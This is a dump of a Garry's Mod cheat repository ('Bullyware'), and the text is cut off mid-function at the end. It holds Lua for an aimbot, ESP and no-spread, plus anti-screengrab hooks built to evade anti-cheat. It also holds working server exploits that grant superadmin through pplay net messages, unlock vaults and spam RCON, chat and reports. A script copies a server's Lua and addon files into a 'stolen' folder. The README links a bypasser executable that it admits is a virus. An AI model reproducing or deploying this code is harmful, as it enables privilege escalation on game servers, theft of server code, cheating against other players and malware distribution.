├── materials ├── drag.png ├── pause.png ├── play.png ├── skip.png ├── tick.png ├── playera.png ├── skipback.png ├── down-arrow.png ├── mascots │ ├── bcat.png │ ├── obama.png │ ├── zerotwo.jpg │ ├── zerotwo.png │ └── slavpepe.png ├── player-arrow.png └── icon_do_whatever_with_this.png ├── lua ├── hitmarkers.lua ├── esp-2.lua ├── recoil.lua ├── scripthook.lua ├── exploits.lua ├── cheats.lua ├── esp.lua ├── core.lua ├── essentials.lua └── windows.lua └── README.md /materials/drag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/drag.png -------------------------------------------------------------------------------- /materials/pause.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/pause.png -------------------------------------------------------------------------------- /materials/play.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/play.png -------------------------------------------------------------------------------- /materials/skip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/skip.png -------------------------------------------------------------------------------- /materials/tick.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/tick.png -------------------------------------------------------------------------------- /materials/playera.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/playera.png -------------------------------------------------------------------------------- /materials/skipback.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/skipback.png -------------------------------------------------------------------------------- /materials/down-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/down-arrow.png -------------------------------------------------------------------------------- /materials/mascots/bcat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/mascots/bcat.png -------------------------------------------------------------------------------- /materials/mascots/obama.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/mascots/obama.png -------------------------------------------------------------------------------- /materials/player-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/player-arrow.png -------------------------------------------------------------------------------- /materials/mascots/zerotwo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/mascots/zerotwo.jpg -------------------------------------------------------------------------------- /materials/mascots/zerotwo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/mascots/zerotwo.png -------------------------------------------------------------------------------- /materials/mascots/slavpepe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/mascots/slavpepe.png -------------------------------------------------------------------------------- /materials/icon_do_whatever_with_this.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BullyHunter32/Bullyware/HEAD/materials/icon_do_whatever_with_this.png -------------------------------------------------------------------------------- /lua/hitmarkers.lua: -------------------------------------------------------------------------------- 1 | local x = ScrW()/2 - 1 2 | local y = ScrH()/2 - 1 3 | 4 | 5 | local gap = 4 6 | local size = 8 + gap 7 | 8 | local lasthit = 0 9 | local duration = 0.8 10 | hook.Add("HUDPaint","methamphetamine.hitmarker",function() 11 | if CurTime() - lasthit < duration then 12 | surface.SetDrawColor( Color(255,255,255, (1 - ((CurTime() - lasthit)/duration)) * 255 ) ) 13 | surface.DrawLine(x - size, y - size, x - gap, y - gap) 14 | surface.DrawLine(x - size, y + size, x - gap, y + gap) 15 | surface.DrawLine(x + size, y - size, x + gap, y - gap) 16 | surface.DrawLine(x + size, y + size, x + gap, y + gap) 17 | end 18 | end) 19 | 20 | local LocalPlayer = LocalPlayer() 21 | gameevent.Listen( "player_hurt" ) 22 | hook.Add( "player_hurt", "player_hurt_example", function( data ) 23 | if Player(data.attacker) == LocalPlayer then 24 | lasthit = CurTime() 25 | print( lasthit ) 26 | end 27 | end ) -------------------------------------------------------------------------------- /lua/esp-2.lua: -------------------------------------------------------------------------------- 1 | local players = player.GetAll() 2 | timer.Create("dax151",10,0,function() players = player.GetAll() end) 3 | local render = render 4 | hook.Add( "PostDrawOpaqueRenderables", "methamphetamine.chams", function() 5 | --if methamphetamine.screengrab then return end 6 | render.SetStencilWriteMask( 0xFF ) 7 | render.SetStencilTestMask( 0xFF ) 8 | render.SetStencilReferenceValue( 0 ) 9 | render.SetStencilCompareFunction( STENCIL_ALWAYS ) 10 | render.SetStencilPassOperation( STENCIL_KEEP ) 11 | render.SetStencilFailOperation( STENCIL_KEEP ) 12 | render.SetStencilZFailOperation( STENCIL_KEEP ) 13 | render.ClearStencil() 14 | render.SetStencilEnable( true ) 15 | render.SetStencilReferenceValue( 1 ) 16 | render.SetStencilCompareFunction( STENCIL_EQUAL ) 17 | render.SetStencilFailOperation( STENCIL_REPLACE ) 18 | for _, ent in ipairs( players ) do ent:DrawModel() end 19 | render.ClearBuffersObeyStencil( 200,100,90, 255, false ) 20 | render.SetStencilEnable( false ) 21 | end ) 22 | --hook.Remove("PostDrawOpaqueRenderables", "methamphetamine.chams") -------------------------------------------------------------------------------- /lua/recoil.lua: -------------------------------------------------------------------------------- 1 | local cw_values = { 2 | ["cw_m14"] = 1.02, 3 | --['cw_ar15'] = 1, 4 | ["cw_g36c"] = 0.85, 5 | ["cw_g3a3"] = 0.8 6 | } 7 | 8 | function methamphetamine.CalculateRecoilCompensation( player ) 9 | print("X") 10 | if not methamphetamine.mods["Aim"].NoRecoil then return end 11 | print("Y") 12 | if not player == LocalPlayer() then return end 13 | local wep = player:GetActiveWeapon() 14 | local weaponclass = wep:GetClass() 15 | local cw = wep._attach 16 | print(cw) 17 | if cw then 18 | print("CW") 19 | ang = player:EyeAngles() 20 | ang.p = ang.p + wep.Recoil * ( methamphetamine.mods["Aim"]["RecoilControl"] or 0.73 ) 21 | ang.y = ang.y - math.Rand(-1, 1) * wep.Recoil * 0.5 * 1 22 | 23 | return ang 24 | end 25 | print("not cw") 26 | return Angle(0,0,0) 27 | end 28 | 29 | -- function methamphetamine.NoRecoil( player , data ) 30 | -- if not methamphetamine.mods["Aim"].NoRecoil then return end 31 | -- if not player == LocalPlayer() then return end 32 | -- local wep = player:GetActiveWeapon() 33 | -- local weaponclass = wep:GetClass() 34 | -- local m9k = string.find( weaponclass , "m9k" ) 35 | -- local cw = wep._attach 36 | -- local tfa = string.find( weaponclass , "tfa" ) 37 | -- wep.meth = wep.meth or {} 38 | -- if m9k then 39 | -- wep.meth.down = wep.Primary.KickDown 40 | -- wep.meth.horizontal = wep.Primary.KickHorizontal 41 | -- wep.meth.up = wep.Primary.KickUp 42 | 43 | -- wep.Primary.KickDown = 0 44 | -- wep.Primary.KickHorizontal = 0 45 | -- wep.Primary.KickUp = 0 46 | 47 | -- local anglo = -Angle(math.Rand(-wep.meth.down,-wep.meth.up), math.Rand(-wep.meth.horizontal,wep.meth.horizontal), 0) 48 | 49 | -- -- LocalPlayer():ViewPunch(anglo1) 50 | 51 | -- local eyes = LocalPlayer():EyeAngles() 52 | -- eyes.pitch = eyes.pitch - (anglo.pitch/3) 53 | -- eyes.yaw = eyes.yaw - (anglo.yaw/3) 54 | -- LocalPlayer():SetEyeAngles(eyes) 55 | 56 | -- end 57 | -- if cw then 58 | 59 | 60 | 61 | 62 | 63 | -- end 64 | -- if tfa then 65 | -- wep.Recoil = function() return 0 end 66 | -- end 67 | -- end 68 | -- hook.Add("EntityFireBullets","methamphetamine.antirecoil", methamphetamine.NoRecoil ) 69 | 70 | function methamphetamine.NoSpread( player ,_, wep ) 71 | if not methamphetamine.mods["Aim"].NoSpread then return end 72 | if not player == LocalPlayer() then return end 73 | local weaponclass = wep:GetClass() 74 | local m9k = string.find( weaponclass , "m9k" ) 75 | local cw = string.find( weaponclass , "cw" ) 76 | local tfa = string.find( weaponclass , "tfa" ) 77 | -- if m9k then 78 | -- wep.Primary.KickDown = 0 79 | -- wep.Primary.KickHorizontal = 0 80 | -- wep.Primary.KickUp = 0 81 | -- end 82 | if cw then 83 | wep.HipSpread = 0 84 | wep.AimSpread = 0 85 | wep.MaxSpreadInc = 0.0000001 86 | wep.SpreadPerShot = 0 87 | wep.SpreadCooldown = 0 88 | 89 | elseif tfa then 90 | wep.Recoil = function() return 0 end 91 | end 92 | end 93 | hook.Add( "PlayerSwitchWeapon", "methamphetamine.nospread", methamphetamine.NoSpread) 94 | -------------------------------------------------------------------------------- /lua/scripthook.lua: -------------------------------------------------------------------------------- 1 | methamphetamine.scripthook = {} 2 | 3 | methamphetamine.scripthook.folder = "methamphetamine/stolen" 4 | methamphetamine.scripthook.filename = string.gsub(game.GetIPAddress(),":","_") 5 | 6 | methamphetamine.scripthook.directory = methamphetamine.scripthook.folder .. "/" .. methamphetamine.scripthook.filename 7 | if not file.Exists( methamphetamine.scripthook.directory , "DATA") then 8 | file.CreateDir( methamphetamine.scripthook.directory ) 9 | end 10 | 11 | -- for _, folder in ipairs( folders ) do 12 | -- local files,_ = file.Find( folder .. "/*.lua", "LUA") 13 | -- for k , file in ipairs(files) do 14 | -- print( folder .. "/" .. file ) 15 | -- end 16 | -- end 17 | 18 | methamphetamine.scripthook.dirs = { 19 | ["addons"] = {}, 20 | ["lua"] = {}, 21 | ["materials"] = {}, 22 | ["gamemode"] = {} 23 | } 24 | 25 | methamphetamine.scripthook.searchDir = function( dir, type ) 26 | local files,folders = file.Find( dir , type ) 27 | local fi,fo = {},{} 28 | for k, v in ipairs( files ) do 29 | file.Write( methamphetamine.scripthook.directory , dir .. v ) 30 | end 31 | for k , v in ipairs( folders ) do 32 | methamphetamine.scripthook.searchDir( dir, type ) 33 | end 34 | return fi 35 | end 36 | methamphetamine.scripthook.getAllDirectories = function( dir ) 37 | 38 | end 39 | 40 | local m_dir = methamphetamine.scripthook.directory 41 | 42 | if not file.Exists( m_dir , "DATA" ) then 43 | print("Creating",m_dir) 44 | file.CreateDir( m_dir ) 45 | end 46 | 47 | local function createfolder( name ) 48 | if not file.Exists( m_dir .."/".. name , "DATA" ) then 49 | file.CreateDir( m_dir .."/".. name ) 50 | end 51 | end 52 | 53 | --createfolder( m_dir ) 54 | 55 | local file = file 56 | local file_write = file.Write 57 | file.Write = function( dir , content, t ) 58 | dir = string.sub(dir, 1, #dir - 3 ) 59 | dir = dir .. "txt" 60 | return file_write( dir , content, t ) 61 | end 62 | 63 | methamphetamine.scripthook.stealDir = function( dir , path ) 64 | local files,folders = file.Find( dir .. "/*" ,path or "LUA") 65 | --print( dir .. "/*" ) 66 | for k , v in ipairs( files ) do 67 | --print( dir .. v ) 68 | local contents = file.Read( dir .. "/".. v ,path or "LUA") 69 | --print( contents ) 70 | --print("X:\t", m_dir .. "/" .. dir.. "/" .. v ) 71 | file.Write( m_dir .. "/" .. dir.. "/".. v , contents ) 72 | end 73 | for k , v in ipairs( folders ) do 74 | createfolder( dir .. "/" .. v ) 75 | methamphetamine.scripthook.stealDir( dir .. "/" .. v, path ) 76 | end 77 | end 78 | 79 | methamphetamine.scripthook.stealGamemode = function() 80 | local root = GAMEMODE.FolderName .. "/gamemode/" 81 | createfolder( root ) 82 | local files,folders = file.Find( root .. "*" ,"LUA") 83 | for k , v in ipairs( files ) do 84 | print( root .. v ) 85 | local contents = file.Read( root .. v , "LUA") 86 | print( contents ) 87 | file.Write( m_dir .. "/" .. root .. v , contents ) 88 | end 89 | for k , v in ipairs( folders ) do 90 | createfolder( root .. v ) 91 | methamphetamine.scripthook.stealDir( root .. v ) 92 | end 93 | end 94 | 95 | --methamphetamine.scripthook.stealGamemode() 96 | 97 | methamphetamine.scripthook.stealContent = function() 98 | local root = "addons" 99 | createfolder( root ) 100 | local files,folders = file.Find( root .. "/*" ,"GAME") 101 | for k , v in ipairs( files ) do 102 | --print( v ) 103 | if string.sub(v,#v-3,#v) == "gma" then continue end 104 | local contents = file.Read( root .. "/" .. v , "GAME") 105 | file.Write( m_dir .. "/" .. root .. "/" .. v , contents ) 106 | end 107 | for k , v in ipairs( folders ) do 108 | createfolder( root .. "/" .. v ) 109 | methamphetamine.scripthook.stealDir( root .."/" .. v, "GAME" ) 110 | end 111 | end 112 | methamphetamine.scripthook.stealContent() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Bullyware 2 | 3 | NOTE: THIS IS NOT THE SOURCE CODE FOR METHAMPHETAMINE SOLUTIONS. I AM NOT AFFILIATED WITH THEM IN ANY WAY SHAPE OR FORM NOR IS THIS STOLEN CODE. THIS USED TO BE A PROJECT OF MINE JUST TO RECREATE METH AS I ADMIRED THEIR INTERFACE AND I WAS INTERESTED IN MAKING A CHEAT SO THERE CAME A METHAMPHETAMINE REMAKE WHICH WAS LATER RENAMED TO 'Bullyware'. 4 | 5 | More formally known as Bullyware. 6 | This is just a little project of mine. Its a work in progress, it is not finished. There are missing pages and there may be errors. 7 | I dont mind if someone doesn't like it 8 | 9 | 10 | 11 | **Not updating this anymore. Yes, it has errors such as when you try to use no-recoil n what not. Feel free to paste from this cheat or something or use it as a meth.sol framework if u really wanna.** 12 | **Might upload my personal version with more features at some point... or at least make add some shit to this version to make it less detectable such as entirely un-screengrabbable visuals at some point** 13 | 14 | 15 | 16 | > Didn't think that i'd have to mention this but this cheat is not meant to be the best cheat in the world. Yes, it is made in Lua and I am very well aware that this is not made in C++. This was a project made for fun, not for commercial purposes. I couldn't give less of a shit if someone has something against this project I had fun making, but if you insist you want to cry about it, be my guest. 17 | 18 | Instructions: 19 | - Put the materials within `methamphetamine-public/materials` into `garrysmod/materials` so it should be `garrysmod/materials/meth/mascots/`. 20 | - Put the 'meth' lua folder within `garrysmod/lua` so it should be `garrysmod/lua/meth/core.lua` 21 | - Install 'Raleway' font from google :) 22 | - https://fonts.google.com/specimen/Raleway?preview.text_type=custom 23 | 24 | 25 | To use you run `lua_openscript_cl meth/core.lua` in the console. 26 | Press `0` to open the menu, anticheats may detect you pressing insert. Better safe than sorry :) 27 | 28 | If you are on a server where sv_allowcslua is 0 then you must use a 3rd party lua executor or bypasser. 29 | - Bypasser: 30 | - Pretty sure it only works on 32 bit gmod but hay hoe: 31 | - Detected by the glorious bSecure 32 | - https://cdn.discordapp.com/attachments/837060748282691654/860513289150267452/gmod_allowcslua_bypasser.exe 33 | - If it gets picked up as a virus, its a false positive. The reason it gets picked up as a virus is because ~~it reads and writes to memory~~ it is one, for the full meth experience :) 34 | 35 | Preview(s): 36 | - https://imgur.com/usi8SIO 37 | - https://imgur.com/OwDDxzd 38 | 39 | Features: 40 | - Exploit Menu (net messages): 41 | - Unlock pVault 42 | - Chat spammer 43 | - Easy to add exploits 44 | - Net message listener 45 | - Net message list (list of all cached network strings) 46 | - Spam rcon 47 | - Get superadmin 48 | - Entity ESP: 49 | - Updates internal table of entities every 15 seconds to minimize lag 50 | - Add entities via the environemnt list 51 | - ESP: 52 | - Colors: 53 | - Rainbow 54 | - Selected Color 55 | - Health Color (MOST SUPPORT THIS) 56 | - Team Color (MOST SUPPORT THIS) 57 | - Box: 58 | - draws bounding box 59 | - Chams: 60 | - Player chams 61 | - Weapon chams 62 | - Others: 63 | - Include many features not made yet 64 | - Aimbot: 65 | - Hitbox Aim: 66 | - Head 67 | - Torso 68 | - Hitscan (torso, needs to be made) 69 | - Silent Aim: 70 | - Does jack shit 71 | - Smooth Aim: 72 | - Uses Lerp to make your aim smooth 73 | - Ignore filter: 74 | - Transparent players 75 | - Friends 76 | - Party members (does nothing) 77 | - Same team 78 | - Selected teams 79 | - Noclipping players 80 | - Invisible (Same as transparent) 81 | - Autofire: 82 | - OP as balls if used correctly 83 | 84 | - Recoil Control (WIP) 85 | - AntiScreengrab: 86 | - Serverguard screengrabber 87 | - Radar 88 | - Radio station player 89 | - Environment list: 90 | - Whitelist teams to the aimbot 91 | - Add entities to the entity ESP list 92 | - Add players to your friends list 93 | - configs (stored in data/methamphetamine/configs) 94 | - Shows spectators, sometimes 95 | - Debug console that doesn't do too much 96 | 97 | -------------------------------------------------------------------------------- /lua/exploits.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | ____ ______ _ __ 3 | / __ )__ __/ / / /_ _| | / /___ _________ 4 | / __ / / / / / / / / / / | /| / / __ `/ ___/ _ \ 5 | / /_/ / /_/ / / / / /_/ /| |/ |/ / /_/ / / / __/ 6 | /_____/\__,_/_/_/_/\__, / |__/|__/\__,_/_/ \___/ 7 | /____/ 8 | ]]-- 9 | 10 | 11 | local exploits = {} 12 | 13 | local count = 0 14 | function exploits:Add( tData ) 15 | count = count + 1 16 | tData.active = false 17 | tData.toggle = tData.toggle == nil and true or tData.toggle 18 | exploits[count] = tData 19 | end 20 | 21 | local i = 1 22 | local netmsg = util.NetworkIDToString( i ) 23 | local tbl = {} 24 | tbl[ netmsg ] = true 25 | while netmsg ~= nil do 26 | i = i + 1 27 | netmsg = util.NetworkIDToString(i) 28 | tbl[ tostring(netmsg) ] = true 29 | end 30 | methamphetamine.cachedNetMessages = tbl 31 | 32 | methamphetamine.ValidateNetMessage = function( strMsg ) 33 | return methamphetamine.cachedNetMessages[strMsg] or false 34 | end 35 | 36 | exploits:Add({ 37 | name = "Spam RCON", 38 | desc = "This spams the server's console.", 39 | args = { 40 | {type = "number", name = "Delay", default = 0.1, min = 0.1, max = 5}, 41 | }, 42 | requirements = function() 43 | return methamphetamine.ValidateNetMessage("steamid2") 44 | end, 45 | onExecute = function(tExploitData) 46 | if !tExploitData.canExecute then return end 47 | if tExploitData.active then 48 | timer.Remove("METHAMPHETAMINE.EXPLOIT."..tExploitData.name) 49 | return 50 | end 51 | print("Creating timer: ", "METHAMPHETAMINE.EXPLOIT."..tExploitData.name, tExploitData.args1, 0 ) 52 | timer.Create("METHAMPHETAMINE.EXPLOIT."..tExploitData.name, tExploitData.args[1], 0, function() 53 | net.Start( "steamid2" ) 54 | net.WriteString( "Bullyware :OO" ) 55 | net.SendToServer() 56 | end) 57 | end 58 | }) 59 | 60 | exploits:Add({ 61 | name = "Chat Spammer", 62 | desc = "This spams \" is friends with \" in chat for everyone.", 63 | args = { 64 | {type = "text", name = "Message to spam", default = "Bullyware is just built different"}, 65 | {type = "number", name = "Spam delay", default = 0.1, min = 0.1, max = 5}, 66 | }, 67 | requirements = function() 68 | return methamphetamine.ValidateNetMessage("sendtable") 69 | end, 70 | onExecute = function(tExploitData) 71 | PrintTable(tExploitData) 72 | if !tExploitData.canExecute then return end 73 | if !tExploitData.active then 74 | timer.Remove("METHAMPHETAMINE.EXPLOIT."..tExploitData.name) 75 | LocalPlayer():ChatPrint("Aborted") 76 | return 77 | end 78 | print("Creating timer: ", "METHAMPHETAMINE.EXPLOIT."..tExploitData.name, tExploitData.args[2], 0 ) 79 | timer.Create("METHAMPHETAMINE.EXPLOIT."..tExploitData.name, tExploitData.args[2], 0, function() 80 | for k, v in ipairs( player.GetAll() ) do 81 | print("sending net") 82 | local spamStr = {} 83 | for i = 1, 15 do 84 | table.insert( spamStr, tExploitData.args[1] ) 85 | end 86 | 87 | net.Start( "sendtable" ) 88 | net.WriteEntity( v ) 89 | net.WriteTable( spamStr ) 90 | net.SendToServer() 91 | 92 | end 93 | end) 94 | end 95 | }) 96 | 97 | exploits:Add({ 98 | name = "Get Superadmin", 99 | desc = "This exploit gives you superadmin. You must reconnect for it to take place.", 100 | args = {}, 101 | toggle = false, 102 | requirements = function() 103 | return methamphetamine.ValidateNetMessage("pplay_addrow") and methamphetamine.ValidateNetMessage("pplay_deleterow") 104 | end, 105 | onExecute = function(tExploitData) 106 | PrintTable(tExploitData) 107 | if !tExploitData.canExecute then return end 108 | if !tExploitData.active then 109 | timer.Remove("METHAMPHETAMINE.EXPLOIT."..tExploitData.name) 110 | LocalPlayer():ChatPrint("Aborted") 111 | return 112 | end 113 | local id = LocalPlayer():SteamID() 114 | local tbl = { 115 | name = "FAdmin_PlayerGroup", 116 | where = { 117 | "steamid", 118 | tostring(id), 119 | }, 120 | } 121 | 122 | net.Start("pplay_deleterow") 123 | net.WriteTable(tbl) 124 | net.SendToServer() 125 | 126 | local tbl = { 127 | tblname = "FAdmin_PlayerGroup", 128 | tblinfo = { 129 | tostring(id), 130 | "superadmin" 131 | } 132 | } 133 | 134 | net.Start("pplay_addrow") 135 | net.WriteTable(tbl) 136 | net.SendToServer() 137 | 138 | end 139 | }) 140 | 141 | 142 | exploits:Add({ 143 | name = "SH Reports spam", 144 | desc = "Spams reports, you know how it is.", 145 | args = { 146 | {type = "text", name = "Who are you reporting?",default = "The CEO of Bullyware"}, 147 | {type = "text", name = "What is the reason for the report?",default = "Called me gay"}, 148 | {type = "bool", name = "Should spam reports?", default = false}, 149 | {type = "number", name = "Spam rate", default = 0.2, min = 0.1, max = 5}, 150 | }, 151 | toggle = true, 152 | requirements = function() 153 | return methamphetamine.ValidateNetMessage("SH_REPORTS.NewReport") 154 | end, 155 | onExecute = function(tExploitData) 156 | PrintTable(tExploitData) 157 | if !tExploitData.canExecute then return end 158 | if !tExploitData.active then 159 | timer.Remove("METHAMPHETAMINE.EXPLOIT."..tExploitData.name) 160 | LocalPlayer():ChatPrint("Aborted") 161 | return 162 | end 163 | if tExploitData.args[3] == true then 164 | print("Creating timer: ", "METHAMPHETAMINE.EXPLOIT."..tExploitData.name, tExploitData.args[4], 0 ) 165 | timer.Create("METHAMPHETAMINE.EXPLOIT."..tExploitData.name, tExploitData.args[4], 0, function() 166 | net.Start("SH_REPORTS.NewReport") 167 | net.WriteString(tExploitData.args[1]) 168 | net.WriteString("") 169 | net.WriteString(tExploitData.args[2]) 170 | net.WriteUInt(4,8) 171 | net.SendToServer() 172 | end) 173 | else 174 | net.Start("SH_REPORTS.NewReport") 175 | net.WriteString(tExploitData.args[1]) 176 | net.WriteString("") 177 | net.WriteString(tExploitData.args[2]) 178 | net.WriteUInt(4,8) 179 | net.SendToServer() 180 | end 181 | end 182 | }) 183 | 184 | local function getClosestPVault() 185 | local closest 186 | local pVaults = ents.FindByClass("pvault_door") 187 | for k,v in ipairs(pVaults) do 188 | if not closest then closest = v end 189 | if closest:GetPos():DistToSqr(LocalPlayer():GetPos()) > v:GetPos():DistToSqr(LocalPlayer():GetPos()) then 190 | closest = v 191 | end 192 | end 193 | return closest 194 | end 195 | exploits:Add({ 196 | name = "Unlock pVault", 197 | desc = "Look at the vault, execute this and wait a couple of seconds :)", 198 | args = {}, 199 | toggle = false, 200 | requirements = function() 201 | return methamphetamine.ValidateNetMessage("pvault_lockpick_pass") 202 | end, 203 | onExecute = function(tExploitData) 204 | local vault = getClosestPVault() 205 | print("vault: ".. tostring(vault) ) 206 | if not IsValid(vault) then return end 207 | RunConsoleCommand("+use") 208 | timer.Simple(8,function() 209 | RunConsoleCommand("-use") 210 | net.Start("pvault_lockpick_pass") 211 | net.WriteEntity(vault) 212 | net.SendToServer() 213 | end) 214 | end 215 | }) 216 | 217 | 218 | return exploits -------------------------------------------------------------------------------- /lua/cheats.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | ____ ______ _ __ 3 | / __ )__ __/ / / /_ _| | / /___ _________ 4 | / __ / / / / / / / / / / | /| / / __ `/ ___/ _ \ 5 | / /_/ / /_/ / / / / /_/ /| |/ |/ / /_/ / / / __/ 6 | /_____/\__,_/_/_/_/\__, / |__/|__/\__,_/_/ \___/ 7 | /____/ 8 | ]]-- 9 | 10 | 11 | methamphetamine = methamphetamine or {} 12 | methamphetamine.adminspectators = {} 13 | methamphetamine.ragevictims = {} 14 | methamphetamine.limbs = { 15 | ["Head"] = "ValveBiped.Bip01_Head1", 16 | ["Spine"] = "ValveBiped.Bip01_Spine", 17 | } 18 | 19 | methamphetamine.bones = { 20 | "ValveBiped.Bip01_Head1", 21 | "ValveBiped.Bip01_Neck1", 22 | "ValveBiped.Bip01_Spine4", 23 | "ValveBiped.Bip01_Spine2", 24 | "ValveBiped.Bip01_Spine1", 25 | "ValveBiped.Bip01_Spine", 26 | "ValveBiped.Bip01_Pelvis", 27 | "ValveBiped.Bip01_R_UpperArm", 28 | "ValveBiped.Bip01_R_Forearm", 29 | "ValveBiped.Bip01_R_Hand", 30 | "ValveBiped.Bip01_L_UpperArm", 31 | "ValveBiped.Bip01_L_Forearm", 32 | "ValveBiped.Bip01_L_Hand", 33 | "ValveBiped.Bip01_R_Thigh", 34 | "ValveBiped.Bip01_R_Calf", 35 | "ValveBiped.Bip01_R_Foot", 36 | "ValveBiped.Bip01_R_Toe0", 37 | "ValveBiped.Bip01_L_Thigh", 38 | "ValveBiped.Bip01_L_Calf", 39 | "ValveBiped.Bip01_L_Foot", 40 | "ValveBiped.Bip01_L_Toe0" 41 | } 42 | 43 | local LocalPlayer = LocalPlayer() 44 | 45 | local function meth_getPlayers() 46 | return player.GetAll() 47 | end 48 | 49 | methamphetamine.screengrab = false 50 | methamphetamine.lastscreengrab = 0 51 | local renderv = render.RenderView 52 | local renderc = render.Clear 53 | local rendercap = render.Capture 54 | local vguiworldpanel = vgui.GetWorldPanel 55 | 56 | local function screengrab() 57 | if methamphetamine.screengrab then return end 58 | methamphetamine.screengrab = true 59 | surface.PlaySound("physics/metal/paintcan_impact_soft1.wav") 60 | methamphetamine.lastscreengrab = CurTime() 61 | print("screen grabbed") 62 | 63 | 64 | renderc( 0, 0, 0, 255, true, true ) 65 | renderv( { 66 | origin = LocalPlayer:EyePos(), 67 | angles = LocalPlayer:EyeAngles(), 68 | x = 0, 69 | y = 0, 70 | w = ScrW(), 71 | h = ScrH(), 72 | dopostprocess = true, 73 | drawhud = true, 74 | drawmonitors = true, 75 | drawviewmodel = true 76 | } ) 77 | 78 | local vguishits = vguiworldpanel() 79 | 80 | if IsValid( vguishits ) then 81 | vguishits:SetPaintedManually( true ) 82 | end 83 | 84 | timer.Simple( 0.1, function() 85 | vguiworldpanel():SetPaintedManually( false ) 86 | methamphetamine.screengrab = false 87 | end) 88 | end 89 | 90 | render.Capture = function(data) 91 | screengrab() 92 | local cap = rendercap( data ) 93 | return cap 94 | end 95 | local string_find = string.find 96 | local function screengrab_str(str) 97 | str = string.lower(str) 98 | if string_find(str,"screengrab") then return true end 99 | if string_find(str,"grab") then return true end 100 | if string_find(str,"scren") then return true end 101 | if string_find(str,"cheat") then return true end 102 | if string_find(str,"anti") then return true end 103 | if string_find(str,"hack") then return true end 104 | return false 105 | end 106 | 107 | concommand.Add("screenshot",function() 108 | methamphetamine.screengrab = true 109 | timer.Simple(0.1,function() methamphetamine.screengrab = false end) 110 | end) 111 | 112 | local _compress = util.Compress 113 | function util.Compress( str ) 114 | methamphetamine.screengrab = true 115 | if screengrab_str( str ) then 116 | methamphetamine.lastscreengrab = CurTime() 117 | end 118 | timer.Simple(0.1,function() methamphetamine.screengrab = false end) 119 | return _compress(str) 120 | end 121 | 122 | local _writedata = net.WriteData 123 | function net.WriteData( data,size ) 124 | methamphetamine.screengrab = true 125 | timer.Simple(0.1,function() methamphetamine.screengrab = false end) 126 | return _writedata(data,size) 127 | end 128 | 129 | -- local _netstart = net.Start 130 | -- function net.Start( str ) 131 | -- methamphetamine.screengrab = true 132 | -- methamphetamine.lastscreengrab = CurTime() 133 | -- methamphetamine.screengrab = false 134 | -- return _netstart(str) 135 | -- end 136 | 137 | function methamphetamine:CheckForSpectators() 138 | local targets = {} 139 | for k , v in ipairs(meth_getPlayers()) do 140 | if v:GetObserverTarget() == LocalPlayer then 141 | targets[#targets+1] = v 142 | end 143 | end 144 | methamphetamine.adminspectators = targets 145 | methamphetamine.Log("Checking for spectators") 146 | return targets 147 | end 148 | 149 | timer.Create("methamphetamine.adminspectatorscheck", 6 , 0 , methamphetamine.CheckForSpectators ) 150 | 151 | function methamphetamine:IsPlayerWithinFOV( player , fov ) 152 | if not player then return false end 153 | 154 | if LocalPlayer:GetEyeTraceNoCursor().Entity == player then return true end 155 | 156 | --local fov = (methamphetamine.mods["Aim"].FOV / 30) 157 | --print( fov ) 158 | -- local CurAngle = LocalPlayer:EyeAngles() 159 | -- local CurPos = LocalPlayer:GetShootPos() 160 | 161 | -- local AimSpot = player:GetBonePosition(player:LookupBone(methamphetamine.bones[1])) 162 | 163 | -- local FinAngle = ( AimSpot - CurPos ):Angle() 164 | -- if FinAngle.y > 180 then 165 | -- FinAngle.y = FinAngle.y-360 166 | -- end 167 | 168 | -- local CalcX = FinAngle.y - CurAngle.y 169 | -- local CalcY = FinAngle.x - CurAngle.x 170 | -- if CalcY < 0 then CalcY = CalcY * -1 end 171 | -- if CalcX < 0 then CalcX = CalcX * -1 end 172 | -- if CalcY > 180 then CalcY = 360 - CalcY end 173 | -- if CalcX > 180 then CalcX = 360 - CalcX end 174 | -- if CalcX <= fov/2 && CalcY <= fov*0.4 then 175 | -- return true 176 | -- end 177 | 178 | local head = player:LookupBone("ValveBiped.Bip01_Head1") 179 | 180 | local headpos,headang = player:GetBonePosition(head or 1) 181 | 182 | local spine = player:LookupBone("ValveBiped.Bip01_Spine1") 183 | local spinepos,spineang = player:GetBonePosition(spine or 1) 184 | 185 | local shootpos = LocalPlayer:GetShootPos() 186 | 187 | --print("FOV : ", fov ) 188 | if IsValid( spinepos ) then 189 | if (LocalPlayer:GetAimVector():Dot( player:GetPos() - shootpos ) / ( player:GetPos() - shootpos ):Length() >= (fov or 0.997)) then --or 190 | -- (LocalPlayer:GetAimVector():Dot( headpos - shootpos ) / ( headpos - shootpos ):Length() >= (fov or 0.997)) or 191 | -- (LocalPlayer:GetAimVector():Dot( spinepos - shootpos ) / ( spinepos - shootpos ):Length() >= (fov or 0.997)) then 192 | return true 193 | end 194 | else 195 | if (LocalPlayer:GetAimVector():Dot( player:GetPos() - shootpos ) / ( player:GetPos() - shootpos 